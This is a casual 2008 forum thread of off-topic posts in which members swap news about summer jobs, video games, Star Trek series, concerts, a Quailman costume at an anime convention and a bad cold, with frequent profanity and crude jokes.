my download speeds are normally 240-250kb/s

as of recent, ive been getting anywhere from 330-OVER FOUR HUNDRED FOURTY

what the fuck verizon, stop keep making my internets 1/3 faster
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 18, 2008, 12:19:59 AM
Sweet.  Happy birthday, sire. :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 18, 2008, 12:29:50 AM
(http://files.spectere.net/pictures/wrong.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on May 18, 2008, 01:33:46 AM
what's that from? :o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 18, 2008, 03:06:29 AM
Cartoon All-Stars to the Rescue, of course.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 18, 2008, 03:14:55 AM
Cartoon All-Stars to the Rescue, of course.

fail   yes I said it
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 18, 2008, 06:15:00 AM
I totally just talked to Benn Jordan on the phone. He's going to give me a sweet hook up for when he tours in Washington.

Jeebus. O.o

Freaking nice.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 18, 2008, 06:44:59 AM
I totally just talked to Benn Jordan on the phone. He's going to give me a sweet hook up for when he tours in Washington.

Fucking AWESOME.

How the hell did you manage that?? Seriously. Fuck.

I am in awe, and deeply jealous :<
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 18, 2008, 10:49:18 AM
lucky bastard, i want him to sign my "red extensions of me" cd.

yes, its one of the 5 or so cd's i own.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 18, 2008, 05:45:15 PM
I got dropped from my class because my financial aid didn't pay for it in time. Also I still can't get work.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 18, 2008, 07:56:44 PM
I got dropped from my class because my financial aid didn't pay for it in time. Also I still can't get work.

That blows.

Also, mega :O at Benn Jordan. Astonishingly badass.

Season finale of Desperate Housewives in an hour! Who else is watching it?!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 18, 2008, 08:02:07 PM
I should be able to sign back up, since they just recently payed for it. Also I just noticed you can unlock art for NMH after beating the game. So is it the cards that you dig up or is it the random new cards you get on missions?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 19, 2008, 03:21:34 PM
http://www.urbandead.com/profile.cgi?id=548888

BRAINS

by the way, being a low level zombie sucks, so if you can, be a survivor and don't die until you get enough xp to buy some of the basic essential zombie skills.

ankle grab, lurching gait, and a skill to raise accuracy in bite or claw attacks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 19, 2008, 08:33:35 PM
Damn, I'm in a good mood today. It's a great day.

I'm gonna go on a bike ride to 7-11 later to cash in some change. Wewt.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on May 19, 2008, 09:15:32 PM
When I met him with iPatch last summer I guess he was pretty 8) with us, so he kept in touch.

iPatch saw a show he had in Kansas city and he got to hang out with him for a while, autographed his DS, etc. After the show, iPatch gave me a call, put Benn on, and we talked.

I was like =ooo!!! Because I hadn't talked to him in a while. But he's really nice.

You had better freaking tell me when he tours, because I would give my left testicle to see him. I'm going to be staying summer quarter up at Western, but I can skip class for a couple days to drive down.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 19, 2008, 09:32:55 PM
I hope to fuck he tours canada sometime. That sort of thing is exactly the sort of show I would make a big fucking point to go to.

EDIT: I just realized, if Benn were to join up with a more "normal" electronic music producer, there could be some pretty sweet things come out of that. Actually, Benn and anyone working together would likely produce something amazing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 20, 2008, 04:46:45 AM
This site has gone down more times than my girlfriend on me in the past few days

hi-o!


wait D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 20, 2008, 05:33:03 AM
http://www.zug.com/pranks/powerbook/index.html

I saw the dates, so I know this isn't a new story (It's from 2004), but I just found it, and it made me smile.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 20, 2008, 04:07:14 PM
This site has gone down more times than my girlfriend on me in the past few days

:(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 20, 2008, 04:26:18 PM
spectere needs a new title

change it from "Administrator" to "resident vista enthusiast"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 20, 2008, 04:33:43 PM
change it from "Administrator" to "resident vista enthusiast"

haha XD

Eh, my custom title was lame anyway.  CHANG'D.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 20, 2008, 09:07:12 PM
So I can't get back into the class I was in, despite it being "paid" and me already taking 2 classes. Shit sucks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 20, 2008, 09:39:09 PM
http://wiki.urbandead.com/index.php/Caiger_Mall

if at all interested in urban dead, browse around on the wiki, its rather entertaining. 

but uhh, i had a friend revive me, and i am going to try and play the "survivor" role until i max him out(i mean, i could do it as a zombie, but ive been a zombie since 2006).  after i end up maxing out the survivor stats, which should take a decent amount of time, considering i need about 700 more xp to do so; i will most likely look for a nice zombie horde, get eaten by them, and join them.  unless i end up enjoying the survivor thing, i mean, it is quite fun with the stress of staying alive and working together to survive the zombie invasion.  who knows, why pick sides when you can do both.

anyway, i like this game, its fun to play, and fun to read about on the wiki.

yadda yadda, more stuff nobody cares about, im off to bed anyway.  g'night y'all.

*edit* ololol i wake up and nobody has posted.  my posts are sprayed with a "DO NOT POST AFTER ME" spray.

*DOUBLE EDIT*

http://acklandhorde.ytmnd.com/

i don't listen to this style of music, but i mean, its totally the zombie theme song of this game
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 22, 2008, 06:35:19 PM
I think my cat is blind in one eye.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 23, 2008, 01:36:57 AM
Arg. Ok, this is getting annoying.

I forgot some info (my Social Insurance Number and a Direct Deposit slip from the bank) when I did my orientation. I brought them in the next day. Apparently, that info got lost or something, and I kept getting told that they needed that info, so I brought it in again 2 days ago (technically anyway, since this is now Friday), but they told me that they just got me into the system and didn't need my info any more, so I should get payed yesterday. My bank account still says $9.00 and change. What the fuck. This is really fucking annoying.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 23, 2008, 05:56:16 AM
Bobbias, welcome to one of the most fun parts about having a job -- resubmitting things a billion times.

Oh well, it could be worse.  You could be forced to fax things (despite not having a land line) like I do.  I think we fan all agree that faxing is soooooo 90's.  Fortunately, there are Internet faxing services available.  I can stand to pay 18 cents on the semi-rare occasion that I need to fax something.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 23, 2008, 06:57:53 AM
Yeah, well, it IS interfering with being payed, and that is NEVER cool.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 23, 2008, 11:02:04 AM
Dear Diary,
Today I was pompous and my sister was crazy. We were kidnapped by the hillfolk never to be seen again. Today was the best day ever.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 23, 2008, 04:42:59 PM
Whoa it's me.

Sorry I keep disappearing without a trace (aside from my semen stains all over the place, I mean) but I'm here now, so you guys can all stop worrying.

What's been up with me lately? Well I'm trying to make my life into something I can enjoy and not have to deal with ridiculous internal struggles, for one. I've also been attempting to teach myself to play the guitar, which is going very slowly because I'm a damn slacking bastard.

I can't think of anything really interesting to say, so I'll just say hi. Hi.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 23, 2008, 05:35:50 PM
sup mr oregon
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 23, 2008, 06:02:13 PM
Hay 2 u.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 23, 2008, 06:28:47 PM
Hey man. Nice to see that you're doing something with your life.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 23, 2008, 06:52:09 PM
I liek sq3r. Also, Bobbias is drunk.

so I should get payed yesterday.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 23, 2008, 07:48:38 PM
Hardly. Tired, yes, but I have work tonight, and going to work on a hangover is NOT an experience I want any time soon.

Plus, I've been making WAY more typos lately than I should. I have no idea why, but I am.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 23, 2008, 11:00:15 PM
New av.

NSFW (http://img522.imageshack.us/img522/2765/8c6b98104d7daa64d9bf088gk7.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 23, 2008, 11:06:19 PM
yes sfw. blurring.

also, fucking. i want one. NOW.

http://blog.wired.com/cars/2008/05/honda-sells-its.html
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 24, 2008, 01:19:10 AM
New av.

NSFW (http://img522.imageshack.us/img522/2765/8c6b98104d7daa64d9bf088gk7.jpg)

Is that supposed to be Misty? Also lol edited porn.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 24, 2008, 03:09:43 AM
Hey man. Nice to see that you're doing something with your life.

Well, trying... I'll get it eventually, though.

It's good to come back to a fresh batch of seizure-inducing avatars and signatures :D

Oh and to answer whoever's question it was in the Intro thread (too lazy and tired to look), I'm working on my first new AMAZING! comic in months right now, and I've got more ideas lined up. I'll post them as the come.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 24, 2008, 03:20:51 AM
Oh and to answer whoever's question it was in the Intro thread (too lazy and tired to look), I'm working on my first new AMAZING! comic in months right now, and I've got more ideas lined up. I'll post them as the come.

YESSSSSSS!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 24, 2008, 07:29:54 AM
YESSSSSSS!

Well, trying...

I thought about adding that word, but decided against it, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 24, 2008, 07:42:43 PM
Also lol edited porn.

ive been doing that for months now, not that my current av/sig falls under that however...

(http://www.starcraft2.com/images/artwork/ss42.jpg)

(http://img294.imageshack.us/img294/3939/hydraro3.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 24, 2008, 09:30:27 PM
I would've made a sig out of the bottom half of the pic, but I decided it was too explicit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 25, 2008, 02:06:04 AM
you still got nothing on my old avatar. The one with hank's face clipped from the Hank and Kahn Jr. poorly drawn porn from Something Awful.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 25, 2008, 03:56:13 PM
This thread is starting to get good: http://www.omgdidinsane.com/forums/viewtopic.php?t=12722&start=20 (http://www.omgdidinsane.com/forums/viewtopic.php?t=12722&start=20)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 25, 2008, 05:26:08 PM
Oh god. That thread shows exactly why I don't post (or even read, most of the time) ODI. The site is full of morons who's idea of a pastime is typing like a 12 year old and talking out their ass like they know something about a subject they obviously have no clue about.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 25, 2008, 05:35:05 PM
This thread is starting to get good: http://www.omgdidinsane.com/forums/viewtopic.php?t=12722&start=20 (http://www.omgdidinsane.com/forums/viewtopic.php?t=12722&start=20)

Hahahahahahahahahaha
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 25, 2008, 07:31:50 PM
those forums make my brain hurt.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 25, 2008, 07:34:48 PM
Use a real OS like LINOCKS.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 25, 2008, 09:33:50 PM
FUCKIN ANTS

I hate ants. Well, as insects they're pretty awesome, but as guests in my room, they are not.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 26, 2008, 09:03:57 AM
So apparently I posted this bulletin on MySpace last night:

i'm going to compose a bulletin. don't know why.



i feel like my life is now coming together. i have a well-paying job, a girlfriend, a social life... but i'm at a crossroads, of sorts, which will somewhat affect my outcome. hopefully with my 1300 on the SAT i'll breeze through senior year with good things, and then have college all paid for! then i'll become a hotshot meteorologist and deanna and i can sit up on our pedestal of weather. i want that more than anything. we also need to have a kitten, its name oh sweet well i'll check it out later, peace, enjoy the dogs dawgs. what's deanna up to...

also i keep feeling like i'm talking to some black lady about her car. no, i'm not.

--

I also apparently set my screen saver to 3D pipes with Richard Nixon as the image. K.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 26, 2008, 09:09:35 AM
I take it you were tired?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 26, 2008, 09:15:25 AM
I take it you were tired?

Hopped up on screwdrivers and narcotics, hahaha. I'm such a good influence. oh well, a lot of weird things happened between my girlfriend and me and as a result i've been kinda... anxious the past few days. I'd lay in bed for an hour just thinking if I didn't take drugs to help me pass out. So it's all good :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on May 26, 2008, 12:12:15 PM
I have a summer job at the gas station down my street. I have training tomorrow (which I get paid for, chuss) and then I'm going to get my first shift this week. All my shifts are going to be either 3 pm - 11 pm or 11 pm - 7 am. There's also a possibility I'll get double shifted, which means 16 hours of straight work. I'm going to blow my fucking brains out.

At the same time, I haven't been this happy in a long time. I've finally found a girl that I really care for, and she reciprocates the feelings. She's finally told me she loves me, and I feel really good about things. We're hoping to see each other over the summer, but if we can't, I have to wait until August when we're back at college to see her again. :<

Oh, and as an aside that doesn't even belong in the same league as that last statement, I've been playing Warriors Orochi almost exclusively for the past 2 weeks. Fuck Persona 3, Warriors Orochi is where it's at. It's basically a crossover of the Dynasty and Samurai Warriors series with an original storyline and there's so much shit to do. Unlocking characters and stages, maxing characters, getting 4th weapons, getting personal items. The awesome part is that Koei just announced that the sequel which is already out in Japan is getting a US release, and since everyone who's already played it agreed it's better in so many ways, I can't fucking wait.

Oh, and in Buffalo we have this thing called Thursday At The Square, which other than the food is the only redeeming quality about this area, where every Thursday in the summer bands play for free, and this year's lineup totally blows. Last year I got to see Violent Femmes, one of my favorite bands, which was awesome, but this year nobody interests me. And to top things off, my friend is dragging me to an emo concert sometime next week which I really don't want to go to. Oh, and Buckethead is coming to a place like 5 minutes from my house on July 28th, but I'm not sure if it's going to be 21+ so I might not be able to go.

Final thing: I've really wanted to build something for a while now. I was looking up LEGO shit for like 2 hours last night but eventually decided that it was too expensive (I only wanted the 1000+ piece sets and those all set you back like $150 or more [Millenium Falcon = 5000 pieces = biggest set = $500). I guess I could go to KNEX which are cheaper, but I'm not sure. I had this awesome training facility thing from them when I was younger but that shit starts to hurt your hands. I think I might go out later this week to like Toys R Us or a local hobby shop and look for model cars. I've never liked painting but I figure I'll give it a shot now because I really want something that can waste some time and I can have fun doing it.

Long message is long.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 26, 2008, 01:01:37 PM
Heh, welcome to the world of jobs. Lucky me, I don't get different shifts. Since I'm done training , I'm doing 11-7:30 all the time. (30 minutes, because we get 30 minutes of unpaid lunch, on top of the 2 15 minute paid breaks).

If I got 16 hours straight, I'd kill someone (not myself, lol).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 26, 2008, 02:42:49 PM
I just got hired at Sams Club as a freezer/cooler stocker guy, starts at 9.50 an hour, and 5am in the morning.

-.-
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 26, 2008, 03:10:36 PM
Ouch :[ How many hours do you get?

I got a job at Burgerville (a popular Northwest fast-food chain) about a month ago, and I've been working full-time. I'm apparently getting a promotion and raise soon, too, because I'm so awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 26, 2008, 03:16:47 PM
Man, I don't know what you guys are talking about.  Working 15-16 hours is...awesome.

I usually wind up waking up, going to work, getting home, and going to sleep at least twice a week.  I love it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 26, 2008, 03:23:15 PM
yeah, 16 hours of work is the shit. I miss having 3 jobs, just for that. hahaha.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 26, 2008, 03:28:24 PM
Only three?  Pfft, I would have gotten another just so I could shoot for a 24 hour work day.  Damn kids today, so lazy.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 26, 2008, 03:33:50 PM
enjoy your aids sleep deprivation
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 26, 2008, 05:54:48 PM
lol you guys

vlad and I are the cool kids who don't work 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 26, 2008, 06:14:19 PM
As am I but I've been actively seeking employment for about a year now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 26, 2008, 06:16:54 PM
I'd like a job, but at this moment, I'm probably not qualified for any jobs that would let me sit down.  I'm rather unable to stand up for more than an hour or two anymore.  :(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 26, 2008, 09:04:04 PM
If I ever get an MMORPG, this is going to be my name.

Also, I just got a copy of Psychonauts.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 26, 2008, 10:32:46 PM
I have really bad gas right now.

Also, I forgot how awesome and fun this forum is.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 26, 2008, 11:36:13 PM
CoD4 is a damn fun game. Even on a console, I still have a lot of fun.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 26, 2008, 11:51:50 PM
So far, Psychonauts kicks a lot of ass.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 27, 2008, 02:46:13 AM
Just got back from seeing Iron Maiden.

Holy shit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 27, 2008, 02:47:08 AM
:o

Fucking nice.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 27, 2008, 03:42:33 AM
They didn't do Wrathchild or Bring your daughter to the slaughter, but everything else haha. Awesome show, awesome seat. I hope I pass this drug test tomorrow haha. I wasn't doing anything, but I did smell some shtuff in the crowd.

eep
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 27, 2008, 03:48:09 AM
listening to eurobeat early in the morning...

nothing like it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 27, 2008, 08:18:08 AM
I want to fucking kill a small animal.

See my angry thread post for more info. FUCK.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 27, 2008, 10:41:46 AM
I just made coffee that is really strong
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 27, 2008, 11:05:52 AM
so i have a cold, been a while since ive had one this bad.

i mean, im normally on the internet 8+ hours a day due to the being unemployed/having nothing better to do.  i was online for about 5 minutes yesterday, and the rest of the day was spent watching star trek enterprise, whilst barely moving at all.

several days ago my dad was in the same position, then i catch it from him. FFFFFFFFF.

anyway, i feel good enough to actually sit up without feeling drained, yay.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 27, 2008, 12:31:06 PM
star trek enterprise

INSTANT FAIL.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on May 27, 2008, 12:38:33 PM
INSTANT FAIL.

Now in a can!  Shake well before opening!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 27, 2008, 12:43:05 PM
as a star trek series, enterprise is pretty low on the list of "good star trek"

as a sci fi series, its pretty entertaining. 

anyway, i like enterprise, SUCK IT DOWN!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 27, 2008, 12:54:57 PM
From what I heard, enterprise was like Star Trek meets soap opera.

I'm a fan of the original Star Trek, and TNG, and to a much lesser extent, Voyager (much). All the other Star Treks can suck it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 27, 2008, 01:02:49 PM
From what I heard

so you are telling me it is fail, when you haven't even seen it.

its like /v/ all over again

"i haven't played game X but from what i hear it sucks, SAGE!"

anyway,

voyager > tng > ds9 > enterprise

can't coment on the original series, because I HAVEN'T SEEN IT(ok, maby an episode, but that isn't enough to make proper judgment about it).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 27, 2008, 01:33:46 PM
What I enjoyed about the original is that it was really based in philosophy. Many episodes had plots created to explore some philosophical question or issue.

I watched an episode of Enterprise. Wasn't impressed.

I discussed the show with a number of my friends who have seen a bunch of it, and the consensus is that Enterprise = Star Trek meets soaps.

Though I will admit that Enterprise may actually be better than DS9. I still have no idea what the actual PLOT of DS9 was supposed to be. Every episode I've ever watched seemed like filler/useless/the series was going nowhere fast.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 27, 2008, 01:42:44 PM
ds9 was awesome pretty much solely due to quark sisko, and odo.

anyway, enough of the nerdy star trek talk. 

coffee is good.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 27, 2008, 03:13:56 PM
So my grandparents are visiting, and I get to spend the next two days (which are my two days off from work) doing things that only grandparents could possibly enjoy.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 27, 2008, 05:11:44 PM
I need to remember to ship my copy of Guitar Hero III in to get a new one. Why haven't I done that yet?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 27, 2008, 07:24:25 PM
cuz ur STOOPID

I got this really awesome kitchen knife at a thrift store the other day. I should take a picture of my collection of kitchen knives sometime.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 27, 2008, 10:12:08 PM
Has anyone else ever owned a Super Advantage? It's a SNES controller built to look like an arcade interface, complete with joystick and oversized buttons. It's really pimp. I have a NES advantage too, but what good does that do me, I have no NES!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 27, 2008, 10:15:08 PM
I have a NES advantage too, but what good does that do me, I have no NES!

I has a NES. Where could I find said controller?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 27, 2008, 10:20:10 PM
HOLY SHIT today has become a really good day. A couple months ago, my car randomly stopped working. It the engine would turn over, but wouldn't start. It had gas, and I tried jumping it, but it just wouldn't work. Eventually it just died completely and not even the automatic lock button would work.

But today, I finally stopped procrastinating and bought a new battery to see if that was the problem, and it was :D :D :D :D

Also, it's the first sunny day after several days of cold and rain. So today is good.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 28, 2008, 01:23:10 AM
Today was boring, so I decided to play some dynamite heady. I swear this game is impossible, I can't even get as far as I could when I was a kid. Also I've NEVER beaten it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on May 28, 2008, 01:51:56 AM
If anyone is interested, I just created a page for my AMAZING! comic, with a brand new, never before seen strip :OOOOOO

http://www.spectere.net/smf/index.php?topic=531.msg14263#msg14263
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on May 28, 2008, 02:08:45 AM
Has anyone else ever owned a Super Advantage? It's a SNES controller built to look like an arcade interface, complete with joystick and oversized buttons. It's really pimp. I have a NES advantage too, but what good does that do me, I have no NES!

I have both.  I had to clean out the Super Advantage myself, piece by piece, which sucked, but I got a 50% discount when I bought it because I decided to do that, instead of let the guys at the game shop clean it out first.  They're both awesome :D

I also have a Super L5; a one-handed RPG controller so you can do other stuff with your other hand, like eating, or writing down notes.  Anybody else have one?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 28, 2008, 05:39:33 PM
http://www.gomtv.net/videos/173

the player i wanted to win, lost, but it was still a very good game.

WATCH IF YOU REMOTELY LIKE SEEING AWESOME STARCRAFT GAEMS
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 28, 2008, 11:40:01 PM
That announcer is a dick, "he is losing vessel at a record braking rate".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 29, 2008, 12:55:45 AM
hes not a dick

basically in every tvz game he mentions that even losing a single science vessel is a big setback for the terran player(same with say a pvz when the protoss is going corsair reaver and he loses his first corsair).  and said terran player was losing a metric fuckton of science vessels, tasteless was merely stating the obvious.

if you want some dicketry in starcraft, see the recent game where firebathero TOTALLY FUCKING OWNED savior(again ololol), and rubbed it in his face.

*edit*

so before go to bed i decided to get some food in my belly so i could pop some pills to help this cold go a long

and i realized how many pills i ended up taking

2x tylenol (to cut down the sinus stuff)
1x vitamin c (because everybody should take one of these every single day)
2x echenacia (like vitamin c only this is herbal crap that doesn't work, but it doesn't hurt so its worth taking)
1x flax oil (OMEGA THREES, take these daily)
1x fish oil (EVEN MORE OMEGA THREES, ALSO TAKE DAILY)

never really took down so many pills in such a short time before

AND TO FEEL HEALTHY, I GOT BLUEBERRY JUICE (even though i washed down the pills with ORANGE FAYGO)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 29, 2008, 08:19:32 AM
echenacia lozenges are great for sore throats. Better than Halls and all that crap, they actually last for a while, and they are made with honey and stuff  like that. Of course, they have bark and other things like that, so they taste weird as fuck, but I like them.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 29, 2008, 02:50:20 PM
Hah that was tasteless? Oh well, that was a close match. Also this just reminded me of my much I suck at RTS games. I like them, but I can't play them for a damn.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 29, 2008, 03:23:19 PM
Hah that was tasteless? Oh well, that was a close match. Also this just reminded me of my much I suck at RTS games. I like them, but I can't play them for a damn.

same here, i blow at them, but it isn't stopping me from getting starcraft 2 and attempting to get good at it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 30, 2008, 01:17:30 AM
Hah, after my one friend was talking about how much he rapes at NFL blitz, he lost 2 out of 3 games in a row, and the last one by a considerable amount. Also that game is the god damned equivalent of tossing a coin.

same here, i blow at them, but it isn't stopping me from getting starcraft 2 and attempting to get good at it.

Same, the only RTS I was really into was red alert 2, so I'll probably get RA 3 and either Warhammer or SC 2.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: flesy on May 30, 2008, 02:23:12 AM
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 30, 2008, 02:28:32 AM
Learning Maya is extensive and so in depth. jesus crisco.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 30, 2008, 03:05:10 AM
o look its a flaeshal
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 31, 2008, 06:43:14 PM
I just got back from an anime convention. I'm not doing that again. I mean, it wasn't awful, but I enjoyed it so little that I wouldn't want to go to another one.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 31, 2008, 06:46:21 PM
I just got back from an anime convention. I'm not doing that again. I mean, it wasn't awful, but I enjoyed it so little that I wouldn't want to go to another one.

whats the matter

too WEEABOO for you?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 31, 2008, 07:08:31 PM
At every anime convention I've been to, I think I spent significantly more time in the video game rooms than anywhere else.  lulz.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 31, 2008, 07:08:58 PM
If I may ask, what the fuck gave you the idea that going to an anime convention would be "fun?"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 31, 2008, 07:41:50 PM
Sounds like one KAWAII time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 31, 2008, 07:54:54 PM
If I may ask, what the fuck gave you the idea that going to an anime convention would be "fun?"


Because I like to wear my Quailman getup when I go.  It's fun to walk through one set of doors and hear at least five people go "OH MY GOD QUAILMAN!!!11"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 01, 2008, 12:28:58 AM
Because I like to wear my Quailman getup when I go.

OH HELL YEAH.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on June 01, 2008, 12:56:36 AM
The security at the nearby mall was rather confused though.  You see, I didn't bother changing when I went to go get some lunch...

I had one mall cop stop me and ask me "What is with that RIDICULOUS outfit?"

I simply responded with "I'm Quailman, officer!  I'm here to protect the people of this mall!"
*puff chest*
*skip away*
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 01, 2008, 01:00:15 AM
If I may ask, what the fuck gave you the idea that going to an anime convention would be "fun?"

I just thought, "Hmm, I've never been to one of these. I wonder what it's like."
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on June 01, 2008, 04:13:28 AM
That'd basically be my logic to go. Also to laugh at ridiculous cosplay.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 01, 2008, 04:23:19 AM
quailman is awesome, anime conventions are not.

GAMING CONVENTIONS, HOWEVER.....

Talisman... (http://cgi.ebay.com/Talisman-Board-Game-4th-Edition-New_W0QQitemZ330239428610QQihZ014QQcategoryZ2558QQssPageNameZWDVWQQrdZ1QQcmdZViewItem) :3

EDIT:

WHAT THE FUCK? FUCKING WORTHLESS news article. Ughhhhhh: http://www.upi.com/NewsTrack/Science/2008/05/31/images_of_remote_amazon_tribe_released/1915/

For those actually curious: http://seattletimes.nwsource.com/ABPub/zoom/html/2004449488.html

Fucking creepy. Holy shit. Red faces, demonlike. wow.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 01, 2008, 10:58:51 AM
Well, shortly after the con, I went to a nerdlike party with a couple of my friends that had about 50 people from another school in the area that we'd never met. A lot of them were pretty cool.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 01, 2008, 11:03:04 AM
WORTHLESS

And the media talking about shit like "such and such celebrity is pregnant, such and such is going out with so and so" etc. etc. etc. isn't worthless? I'd say that article is more newsworthy than most of the crap they talk about now.
